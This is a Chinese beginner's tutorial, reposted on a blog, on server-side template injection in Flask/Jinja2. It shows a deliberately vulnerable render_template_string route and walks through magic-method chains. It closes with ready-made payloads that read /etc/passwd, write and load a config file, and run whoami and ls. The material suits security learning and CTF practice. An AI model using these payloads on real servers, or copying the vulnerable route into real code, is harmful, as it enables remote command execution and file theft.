初学SSTI

初学SSTISSTI 的基础学习

又称服务器端模板注入。这一类漏洞在ctf中也经常出现。通过这篇文章主要学习一下SSTI的基础。

什么是SSTI

在说这个之前先来了解一下模板与模板引擎。

比如说你百度查资料的时候,页面返回给你的大体格式是不改变的,改变的只是你查询的内容。

初学SSTI

这个框架就是模板。主要作用就是将用户查询的动态数据与静态信息分离。大大提高了开发效率。服务端把相应的模板文件和一些变量传递给模板引擎,模板引擎解析后再传给用户端 ,模板引擎只处理模板上的一些东西,而hacker们就是将恶意的模板语句注入在模板中,在对模板进行渲染时,就会执行我们的恶意代码,将执行结果返回给客户端。

漏洞原理

以flask模板为例,主要了解渲染和路由。

看这段代码

from flask import flask @app.route('/index/') def hello_word(): return 'hello world'

路由就是把url与函数对应起来,一个映射的关系。比如这段代码当你访问http://host:port/index/就会输出hello world。

渲染的方法主要有render_templaterender_template_string两种。

render_template函数是用来渲染一个指定文件。而render_template_string是用来渲染字符串的。

看漏洞代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        

%s

'''%(code) return render_template_string(html)

code是我们用户输入的,当我们输入的内容拼接到模板中,因为没有经过转义和限制,在渲染模板时就会执行我们输入的恶意代码。

常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。

初学SSTI

例如不同模板的输出结果。

Twig{ 
  {7*'7'}}结果49 jinja2{ 
  {7*'7'}}结果为 smarty7{*comment*}7为77

就拿jinja2这个模板引擎为例,它的取值变量格式为{
{}},里面的表达式会自动执行。我们可以用{
{7*7}}来测试网站有没有模板注入漏洞。

当然,当你发现这个漏洞想用一些恶意命令来执行一些操作。比如你想调用os模块使用系统命令,

import os os.system('id')

但是事实上不可行的。可能是因为模板引擎会限制import声明语法。所以我们不能直接调用。那么我们呢就需要充分利用python中的组件,也就是魔术方法。下列举例常用的魔术方法。

__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用

知道这些魔术方法我们该怎么去用它呢?比如我们就需要来查看id,需要使用到os模块。我们知道python中万物皆可对象,那么我们就可以用一个空字符串作为一个起点了。

查看当前属性的对象”.__class__

初学SSTI

那我们继续查看当前类的基类。”.__class__.__base__

初学SSTI

基类找到了,那么我们就可以查找所以子类了。”.__class__.__base__.subclasses__()

初学SSTI

太多太多。到这个时候,SSTI的姿势和技巧就丰富了许多。在这里,我们需要挑选sys模块的类,因为sys模块也调用了os模块。查找我们需要利用的类可以通过脚本来查找。这里我们选择

这个类,排序是从0开始的。所以是141位。

''.__class__.__base__.__subclasses__()[141] #找到这个类 ''.__class__.__base__.__subclasses__()[141].__init__.__globals__ #初始化,以字典的形式返回所有的全局变量 ''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'] #找到sys,并在其中调用os模块 #调用到os模块,我们就可以执行系统命令了。 { 
  {''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'].popen("id").read()}} #来读取id,当然最后还要有语法包裹。

说到这里,对SSTI的攻击手段都有大致的了解,当然,像这样的payload的构造肯定是要花不少时间的。我们可以用一些现成的payload。

python2

#文件读取和写入 { 
  {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} { 
  {''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #每次执行都要先写然后编译执行 { 
  {''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} { 
  { config.from_pyfile('/tmp/owned.cfg') }} #命令执行 { 
  {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} { 
  {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}} #这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块 { 
  {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} #system函数换为popen('').read(),需要导入os模块 { 
  {''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} #不需要导入os模块,直接从别的模块调用 { 
  {().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

python3

#读文件 { 
  {().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}} #命令执行 { 
  {().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 

在一些ctf题目可能会有一些waf过滤以及绕过姿势,之后会通过做题巩固总结。

相关链接:

SSTI注入 – FreeBuf网络安全行业门户

浅谈SSTI – FreeBuf网络安全行业门户

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/228572.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月16日 下午6:43
下一篇 2026年3月16日 下午6:43


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号